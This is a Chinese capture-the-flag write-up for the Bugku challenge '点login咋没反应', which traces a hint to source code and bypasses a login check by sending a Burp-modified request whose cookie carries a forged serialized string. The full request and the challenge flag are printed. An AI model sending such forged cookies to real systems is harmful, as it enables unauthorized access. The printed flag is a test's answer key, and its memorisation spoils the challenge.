bugku#点login咋没反应-writeup

点login咋没反应

今天简单给友友们分享一下修改数据包上传的一个题型，请食用。

• 打开靶场
  

• 查看源码有admin.css
  

• 查看/?hint
  

• 发现admin.css 访问

• 发现/* try ?15057 */ 访问

• 分析代码

• 当传入的参数是空的，cookie的值反序列化后等于key，则显示flag，使用在线序列化的网站快速实现

https://www.toolnb.com/dev/runCode/243e11a40a13ca67d0f13d10dadfdd48.html

• Cookie

• 使用burp修改数据包发包
  

GET / HTTP/1.1
Host: 114.67.175.224:11451
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
cookie:s:13:"ctf.bugku.com";
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

• 根据返回包成功得到flag！

flag{fd86b33cc7871e86c33b67ff01906bcc}

【文章仅限网络安全爱好者学习参考使用，请勿用于非法途径。】
#网络安全爱好者#doyoubest